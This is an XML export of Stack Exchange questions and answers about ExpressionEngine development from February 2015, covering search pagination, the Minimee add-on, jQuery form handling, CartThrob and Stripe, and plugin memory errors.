  <row Id="30241" PostTypeId="1" AcceptedAnswerId="30244" CreationDate="2015-02-25T12:34:35.887" Score="0" ViewCount="257" Body="&lt;p&gt;I am getting the correct search results when a user searches for a keyword. I have set the pagination limit to 12 and the first 12 searches results are shown as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a search has more than 12 results pagination is included. Although when I click a pagination link the next results page is not displaying the correct results. It is displaying 100+ results as the results of the search, regardless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below I have included my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Search Form &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:form collection=&quot;test-collection&quot; search_mode=&quot;keywords&quot; result_page=&quot;search/index&quot;}&amp;lt;/pre&amp;gt;&#xA;  &amp;lt;input placeholder=&quot;Search&quot; type=&quot;text&quot; name=&quot;keywords&quot;&amp;gt;&#xA;   &amp;lt;input type=&quot;submit&quot;&amp;gt;&#xA;{/exp:low_search:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Search Results&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results &#xA;     query=&quot;{segment_2}&quot;&#xA;     channel=&quot;product_swatches&quot;&#xA;     paginate=&quot;bottom&quot;&#xA;     paginate_base=&quot;search&quot; &#xA;     limit=&quot;12&quot;&#xA;}   &#xA;    &amp;lt;div class=&quot;swatch_listing&quot;&amp;gt;&#xA;            &amp;lt;figure&amp;gt;&#xA;              &amp;lt;img src=&quot;{product_image}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;                 &amp;lt;figcaption&amp;gt;&#xA;                    &amp;lt;span&amp;gt;&#xA;                        {title}                     &#xA;                    &amp;lt;/span&amp;gt;&#xA;                 &amp;lt;/figcaption&amp;gt;&#xA;            &amp;lt;/figure&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {paginate}&#xA;      &amp;lt;section id=&quot;pagination&quot; class=&quot;clearfix&quot;&amp;gt;&#xA;         &amp;lt;div class=&quot;pg_prev&quot;&amp;gt;&#xA;            {if previous_page}&#xA;                &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;&amp;amp;laquo; Previous&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;pg_list&quot;&amp;gt;&#xA;            {pagination_links}&#xA;                {page}&#xA;                   &amp;lt;a href=&quot;{pagination_url}&quot; &#xA;                      class=&quot;page-{pagination_page_number} &#xA;                             {if current_page}active{/if}&quot;&#xA;                    &amp;gt;   &#xA;                        {pagination_page_number}&#xA;                   &amp;lt;/a&amp;gt;&#xA;                {/page}&#xA;            {/pagination_links}&#xA;        &amp;lt;/div&amp;gt;     &#xA;        &amp;lt;div class=&quot;pg_next&quot;&amp;gt;&#xA;            {if next_page}&#xA;                &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Next &amp;amp;raquo;&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;  {/paginate}&#xA;  {if low_search_no_results}&#xA;     &amp;lt;p&amp;gt;There were no results for this search&amp;lt;/p&amp;gt;&#xA;  {/if}&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1916" LastActivityDate="2015-02-25T15:14:06.813" Title="Low search not paginating results correctly" Tags="|search|low-search|low|pagination|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30242" PostTypeId="2" ParentId="30239" CreationDate="2015-02-25T13:28:06.933" Score="1" Body="&lt;p&gt;Looping through categories and outputting entries within is an inherently &quot;expensive&quot; process. Someone will likely pipe in here with an answer that uses &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to optimize this, but I'd suggest two options:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-cache&quot; rel=&quot;nofollow&quot;&gt;CE Cache&lt;/a&gt; to cache this area of your template.&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;http://ee-garage.com/nsm-categories&quot; rel=&quot;nofollow&quot;&gt;NSM Categories&lt;/a&gt; to output your entries grouped by category.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-25T13:28:06.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30244" PostTypeId="2" ParentId="30241" CreationDate="2015-02-25T15:14:06.813" Score="1" Body="&lt;p&gt;It's not yet clear if you're encoding queries or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are, then having &lt;code&gt;paginate_base=&quot;search&quot;&lt;/code&gt; will not include the encoded query in the pagination links, and will therefore 'forget' the query. Try either using &lt;code&gt;paginate_base=&quot;search/{segment_2}&quot;&lt;/code&gt; or removing that parameter altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you're using Structure, make sure the actual encoded query is passed on to the tag. Structure resets the segment vars, so you might need something like &lt;a href=&quot;https://devot-ee.com/add-ons/freebie&quot; rel=&quot;nofollow&quot;&gt;Freebie&lt;/a&gt; instead. Turn on Template debugging to see what the actual LS tag is when it gets parsed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have tried changing the low &quot;low_search:results&quot; to a channel:entries tag, same results are displaying, page one has correct results and pagination has all results&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now, this points to a non-Low Search issue, as the pagination is wrong for the native tag as well. I'd recommend trying it out on a non-Structure managed template and see if the problem persists then.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-25T15:14:06.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30245" PostTypeId="1" CreationDate="2015-02-25T15:50:21.140" Score="1" ViewCount="84" Body="&lt;p&gt;About to upgrade my personal site and went to Ellislab website for download and they have 2 versions for download. 2.81 and 2.92&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Going through the EE bug tracker appears I may have several items that I will need to edit core files if I end up with these all ready listed bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reason some of us would not want to upgrade to 2.92 now? with Forums 3.1.17? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently running 2.81.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;`mike&lt;/p&gt;&#xA;" OwnerUserId="2437" LastActivityDate="2015-04-27T09:54:22.060" Title="About to upgrade, what are EE differences between 2.81 and 2.92?" Tags="|forms|upgrade|ee2-upgrades|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30246" PostTypeId="2" ParentId="30237" CreationDate="2015-02-25T17:30:06.657" Score="0" Body="&lt;p&gt;Okay, I guess I found the error (sort of).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I updated everything. Now the correct folder shows up, the&#xA;thumbnails work and so on. So there was just something weird going&#xA;on from this old install.&lt;/li&gt;&#xA;&lt;li&gt;The duplicated file problem seems to be a filename character problem. There where spaces and dots in the filename which caused the issue. Apparently these characters are not allowed but eecms doesn't say so.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there somewhere a setting or filename to replace irregular characters from a file during upload? Or is there a list which characters are allowed or not or is this a server environment thing?&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2015-02-25T17:30:06.657" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30247" PostTypeId="1" CreationDate="2015-02-25T19:34:54.390" Score="0" ViewCount="93" Body="&lt;p&gt;The question pretty much says it, but here is some additional info:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Config file, with &quot;siteurl&quot; taking place of the real url:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['minimee'] = array(&#xA;&#xA;    /**&#xA;     * ==============================================&#xA;     * BASIC PREFERENCES (REQUIRED)&#xA;     * ==============================================&#xA;     */&#xA;&#xA;    /**&#xA;     * The path to the cache folder.&#xA;     * Defaults to site's FCPATH + '/cache'&#xA;     */&#xA;    'cache_path'        =&amp;gt; '/var/www/vhosts/siteurl.com/cache',&#xA;&#xA;    /**&#xA;     * The URL to the cache folder.&#xA;     * Defaults to $EE-&amp;gt;config-&amp;gt;item('base_url') + '/cache'&#xA;     */&#xA;    'cache_url'         =&amp;gt; 'https://www.siteurl.com/cache',&#xA;&#xA;    /**&#xA;     * ==============================================&#xA;     * BASIC PREFERENCES (OPTIONAL)&#xA;     * ==============================================&#xA;     */&#xA;&#xA;    /**&#xA;     * Turn on or off combining of CSS assets only. 'yes' or 'no'.&#xA;     * Values: 'yes' or 'no'&#xA;     * Default: yes&#xA;     */&#xA;    'combine_css'       =&amp;gt; 'yes',&#xA;&#xA;    /**&#xA;     * Turn on or off combining of JS assets only. 'yes' or 'no'.&#xA;     * Values: 'yes' or 'no'&#xA;     * Default: yes&#xA;     */&#xA;    'combine_js'        =&amp;gt; 'yes',&#xA;&#xA;    /**&#xA;     * Turn on or off minifying of CSS assets. 'yes' or 'no'.&#xA;     * Values: 'yes' or 'no'&#xA;     * Default: yes&#xA;     */&#xA;    'minify_css'        =&amp;gt; 'yes',&#xA;&#xA;    /**&#xA;     * Turn on or off minifying of the template HTML.&#xA;     * Values: 'yes' or 'no'&#xA;     * Default: no&#xA;     */&#xA;    'minify_html'       =&amp;gt; 'no',&#xA;&#xA;    /**&#xA;     * Turn on or off minifying of JS assets.&#xA;     * Values: 'yes' or 'no'&#xA;     * Default: yes&#xA;     */&#xA;    'minify_js'         =&amp;gt; 'yes',&#xA;&#xA;&#xA;    /**&#xA;     * ==============================================&#xA;     * DISABLING MINIMEE&#xA;     * ==============================================&#xA;     */&#xA;&#xA;    /**&#xA;     * Disable Minimee entirely; aborts all activity&#xA;     * and returns all tags untouched.&#xA;     * Values: 'yes' or 'no'&#xA;     * Default: no&#xA;     */&#xA;    'disable'           =&amp;gt; 'no',&#xA;&#xA;&#xA;   );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only difference (besides https) between this site and other sites on which I have it installed &amp;amp; active and it works, is that that this server (client owns it) does not have an http(s)docs folder.  Not sure if that is why the whole thing is being thrown off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSS is wrapped in tags like this.  JS files are done the same way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:minimee:css}&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/css/style.css&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/css/mobile.css&quot; /&amp;gt;    &#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/css/bootstrap-responsive.css&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;/css/bootstrap-responsive.min.css&quot; /&amp;gt;&#xA;{/exp:minimee:css}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3740" LastActivityDate="2015-02-25T21:26:27.733" Title="Why won't minimee work? Works in all my sites except one in https://" Tags="|minimee|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30248" PostTypeId="2" ParentId="25603" CreationDate="2015-02-25T21:03:23.383" Score="0" Body="&lt;p&gt;In the mod.freemember.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the following code (line 221):  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = ee()-&amp;gt;functions-&amp;gt;fetch_site_index().QUERY_MARKER.&#xA;        'ACT='.ee()-&amp;gt;functions-&amp;gt;fetch_action_id(__CLASS__, 'act_logout');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the following code:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (ee()-&amp;gt;TMPL-&amp;gt;fetch_param('secure_action') == 'yes') {  &#xA;        $url = str_replace('http://', 'https://', $url);  &#xA;    }  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will change the logout url to https. You have to add secure_action to logout url as follows:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:logout_url return=&quot;&quot; secure_action=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6084" LastEditorUserId="6084" LastEditDate="2015-02-26T22:46:55.617" LastActivityDate="2015-02-26T22:46:55.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30249" PostTypeId="2" ParentId="30247" CreationDate="2015-02-25T21:26:27.733" Score="1" Body="&lt;p&gt;Turn on Template Debugging under &lt;strong&gt;Admin &amp;rarr; System Administration &amp;rarr; Output and Debugging&lt;/strong&gt;, then reload your template. Minimee will give you helpful logging messages in the template debugger at the bottom of the age.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-25T21:26:27.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30251" PostTypeId="1" AcceptedAnswerId="30253" CreationDate="2015-02-25T21:57:00.830" Score="0" ViewCount="1865" Body="&lt;p&gt;I've got a select field that is populated with all titles from a channel entry like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;product_name&quot; name=&quot;product_name&quot; class=&quot;form-control&quot;&amp;gt;&#xA;  {exp:channel:entries channel=&quot;product_page&quot; limit=&quot;500&quot; disable=&quot;member_data|pagination|comments|categories&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;    &amp;lt;option value=&quot;{title}&quot; {if freebie_2 == url_title}selected{/if} data-productid=&quot;{product_id}&quot;&amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also got a hidden field that I need to populate the value with a value pulled from the data-product-id attribute of the selected option. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;product_id&quot; name=&quot;product_id&quot; type=&quot;hidden&quot; placeholder=&quot;Product Id&quot; class=&quot;form-control input-md&quot; value=&quot;{freebie_3}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I&quot;m not sure how best to approach this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current javascript is below and not working. On change the value is removed and set to &quot;undefined&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Populate hidden field with data-attribute from select on quote-center page&#xA;$(document).ready(function(){&#xA;&#xA;    $('select#product_name').on('change', function() {&#xA;&#xA;        var prod_id = $('select#product_name:selected').data('productid');&#xA;&#xA;      $('#product_id').val(prod_id);&#xA;      console.log('product id is ' + prod_id);&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And a JS Fiddle is here: &lt;a href=&quot;http://jsfiddle.net/pgzfLo24/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/pgzfLo24/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastEditorUserId="15" LastEditDate="2015-02-25T22:53:37.040" LastActivityDate="2015-09-24T15:22:44.777" Title="Change Hidden field based on select choice" Tags="|forms|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30252" PostTypeId="2" ParentId="30221" CreationDate="2015-02-25T22:07:38.473" Score="0" Body="&lt;p&gt;Assuming that your actual code does not have the {exp:user:register...} code twice, as you have it in the above code example, that error sounds like it would be related to your Register form expecting a Captcha code be entered. You'll need to put in the applicable Captcha code (or whatever code is necessary if you're using a 3rd party add-on for something more advanced than the standard EE Captcha):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if captcha}&#xA;    &amp;lt;p&amp;gt;Please enter in the word you see below:&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;{captcha}&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-02-25T22:07:38.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30253" PostTypeId="2" ParentId="30251" CreationDate="2015-02-25T23:03:11.360" Score="0" Body="&lt;p&gt;I'm so stupid. The selector is incorrect vor the variable prod_id. Needs to have option added. See below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Populate hidden field with data-attribute from select on quote-center page&#xA;$(document).ready(function(){&#xA;&#xA;    $('select#product_name').on('change', function() {&#xA;&#xA;        var prod_id = $('select#product_name option:selected').attr('data-productid');&#xA;&#xA;      $('#product_id').val(prod_id);&#xA;      console.log('product id is ' + prod_id);&#xA;    });&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now everything works.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-02-25T23:03:11.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30254" PostTypeId="1" CreationDate="2015-02-25T23:24:23.370" Score="0" ViewCount="72" Body="&lt;p&gt;I'm using the Stripe payment gateway with Cartthrob which appeared to be working properly. On further inspection it appears that the form is being submitted to Stripe when the submit button is clicked even if there are errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to disable the form submission isn't working either. This results in failed attempts in the Stripe logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got Stripe working properly with Cartthrob? How are you preventing this?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2016-06-05T08:48:37.817" Title="Using Cartthrob with Stripe - form being submitted even with errors" Tags="|cartthrob|stripe|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30256" PostTypeId="2" ParentId="30245" CreationDate="2015-02-26T08:13:04.457" Score="1" Body="&lt;p&gt;In cases like this, you should check out &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html&quot; rel=&quot;nofollow&quot;&gt;the Change Log&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of changes that stand out:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE2.9 requires at least PHP 5.3.10 (EE2.8 requires 5.2);&lt;/li&gt;&#xA;&lt;li&gt;In EE2.9, the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/conditionals.html&quot; rel=&quot;nofollow&quot;&gt;conditionals parser&lt;/a&gt; has had an overhaul. This means your templates can be more performant, but conditionals are also more error-prone.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As so often, it's a case of YMMV.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-26T08:13:04.457" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30258" PostTypeId="2" ParentId="23906" CreationDate="2015-02-26T10:16:10.723" Score="0" Body="&lt;p&gt;I think you may need to also add  &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#include-assets&quot; rel=&quot;nofollow&quot;&gt;include_assets=&quot;no&quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HIH.&lt;/p&gt;&#xA;" OwnerUserId="4972" LastEditorUserId="22" LastEditDate="2015-02-26T14:57:57.780" LastActivityDate="2015-02-26T14:57:57.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30259" PostTypeId="1" AcceptedAnswerId="30420" CreationDate="2015-02-26T10:32:28.517" Score="0" ViewCount="90" Body="&lt;p&gt;Just wondered if anyone has done anything with the payment gateway within Cartthrob to try and use the &quot;Stripe Checkout&quot; over building your own standard checkout page... love the look of its clean simple interface over the standard checkout pages we would normally create, and that I've done so far. Also been able to integrate the mobile side of this would be much nicer and I'm sure help conversion. Just curious to know if anyone has integrated this and how they got it looking and working and if its worth even looking into , or just sticking with building your own as i have done so far with this integration.&lt;/p&gt;&#xA;" OwnerUserId="1005" LastActivityDate="2015-03-07T11:39:13.400" Title="Cartthrob and Stripe integration" Tags="|cartthrob|stripe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30260" PostTypeId="1" AcceptedAnswerId="30266" CreationDate="2015-02-26T11:39:55.310" Score="0" ViewCount="30" Body="&lt;p&gt;I'm in a situation on the cart/basket page where I want to use an embed, but, I want to use the checkout tag again within it, to work out some tax with php &amp;amp; then  add it to a table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've accomplished it fine, though it's adding a form element to the table element. &#xA;Is there a param I'm missing where I can just say form_element=&quot;off&quot; or something like that?&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2015-02-26T20:00:28.230" Title="Is it possible to use store tags without it outputting a form element?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30261" PostTypeId="1" CreationDate="2015-02-26T13:30:29.367" Score="0" ViewCount="49" Body="&lt;p&gt;We're taking over hosting a clients site, and I've downloaded a copy of the site and the database, and set up both in mamp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've adjusted the db config, and the '/admin/' area all works - however, if I go to 'index.php' i'm just getting a 404 page ('Status: 404 Page Not Found').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've adjusted the paths in Global Template Preferences, and General Configuration, but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas of where I should start looking to find the issue? I'm new to EE...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cheers&lt;/p&gt;&#xA;" OwnerUserId="6087" LastActivityDate="2015-03-03T10:33:01.133" Title="Local copy of working site &gt; admin work &gt; pages all get 404" Tags="|404|localhost|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30263" PostTypeId="2" ParentId="11395" CreationDate="2015-02-26T15:31:03.757" Score="0" Body="&lt;p&gt;If you are using Structure:Entries plugin as Peter has mentioned above, you can simply create a category. I called mine &quot;Include In Main Navigation&quot;. I included the &lt;code&gt;category_id&lt;/code&gt; parameter in my tag pair: &lt;code&gt;{exp:structure_entries category_id=&quot;1&quot;}&lt;/code&gt;. Worked like a charm for me and didn't involve any hacking code.&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2015-02-26T15:31:03.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30264" PostTypeId="2" ParentId="26592" CreationDate="2015-02-26T16:07:36.457" Score="0" Body="&lt;p&gt;This turned out to be a bug that EllisLab have provided a solution for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following line to the beginning of &lt;em&gt;system/expressionengine/fieldtypes/grid/views/publish.php&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;&amp;lt;?=$field_id?&amp;gt;&quot; value=&quot;placeholder&quot;/&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the source link: &lt;a href=&quot;https://support.ellislab.com/bugs/detail/20718&quot; rel=&quot;nofollow&quot; title=&quot;EllisLab&quot;&gt;https://support.ellislab.com/bugs/detail/20718&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2015-02-26T16:07:36.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30266" PostTypeId="2" ParentId="30260" CreationDate="2015-02-26T16:57:00.470" Score="2" Body="&lt;p&gt;The product tag allows you to add &lt;code&gt;disable_form=&quot;yes&quot;&lt;/code&gt; to remove the form tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you are trying to use the checkout tag however you best option would be to use the &lt;code&gt;{exp:store:cart}&lt;/code&gt; tag pair for the nested content which is the exact same as the checkout tag but does not output a form tag. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Cart Tag behaves exactly the same as the Checkout Tag. The&#xA;  difference lies in performance - while the Checkout Tag provides a&#xA;  form, and provides options for updating and submitting the cart, the&#xA;  Cart Tag simply displays a cached version of the current cart.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You should use the Cart Tag instead of the Checkout Tag in sidebars&#xA;  and headers, when you wish to display the contents of the current&#xA;  cart.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Full documentation for the &lt;a href=&quot;https://www.exp-resso.com/docs/cart_tag.html&quot; rel=&quot;nofollow&quot;&gt;cart tag&lt;/a&gt; pair.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-02-26T20:00:28.230" LastActivityDate="2015-02-26T20:00:28.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30267" PostTypeId="2" ParentId="30254" CreationDate="2015-02-26T18:55:15.940" Score="0" Body="&lt;p&gt;Im using the straight forward validation currently and having no problems, although I'm not receiving the emails from Stripe at present or the system which is a little worrying.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;which other validation are you using?&lt;/p&gt;&#xA;" OwnerUserId="1005" LastActivityDate="2015-02-26T18:55:15.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30269" PostTypeId="1" CreationDate="2015-02-26T19:30:46.887" Score="1" ViewCount="88" Body="&lt;p&gt;I sell a product that the customer can either pay full price, or pay a down payment and then (outside of EE) make payments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like is to have options/modifiers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;Full price&quot; = (no price adjustment)&lt;/li&gt;&#xA;&lt;li&gt;&quot;Down payment&quot; = (set price to $100)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is this possible without having to manually calculate {price}-x=&quot;Down Payment&quot;?  From what I can tell, I can only add or subject from {price}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read this: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14089/change-price-with-modifier-instead-of-add-to-price&quot;&gt;Change price with modifier, instead of + add to price&lt;/a&gt;, however that would break sorting/searching by price since Store would consider them all to cost $0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="6088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2016-06-01T08:12:21.170" Title="Set price with product modifiers (not + or -)" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30270" PostTypeId="1" CreationDate="2015-02-26T20:04:34.443" Score="0" ViewCount="88" Body="&lt;p&gt;Site is running EE 2.1.3 and I'm now getting WSoD on a few of my front-end pages (notably those with imgsizer plugin enabled, the other pages without images are working fine). I've read that it's a memory issue related to trying to generate a thumbnail with Image Sizer plugin (running 2.6.4) in this &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/12052/white-screen-of-death-with-extensions-enabled-ee-v-1-6-0&quot;&gt;related thread&lt;/a&gt; but no solutions are offered. I tried upgrading to newer version that's been forked on GitHub but got the same problem. I've also changed the memory allocation to 512M and still no luck. Enabling debugging in index.php yields no PHP errors on the back-end and template files are parsing correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all started when I got an error message after a member couldn't upload a file (I'm assuming it was too large although I haven't heard back from them yet). The following error came from our server:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[19-Feb-2015 11:24:25 America/Denver] PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 17472 bytes) in /home/artdistr/public_html/system/expressionengine/third_party/imgsizer/pi.imgsizer.php on line 546&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm getting a whole host of problems where paths aren't found (I'll only include one since there's a ton of them) from the server:&#xA;Feb 26 12:24:22 2015] [error] [client 69.245.61.229] File does not exist: /home/artdistr/public_html/themes/template_variables, referer: &lt;a href=&quot;http://www.artdistrictonsantafe.com/system/index.php?S=0&amp;amp;D=cp&amp;amp;C=addons_plugins&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.artdistrictonsantafe.com/system/index.php?S=0&amp;amp;D=cp&amp;amp;C=addons_plugins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, I'm totally stumped here.&lt;/p&gt;&#xA;" OwnerUserId="3474" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2016-05-17T12:44:57.730" Title="WSoD and Imgsizer Plugin" Tags="|plugin|image|white-screen-of-death|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
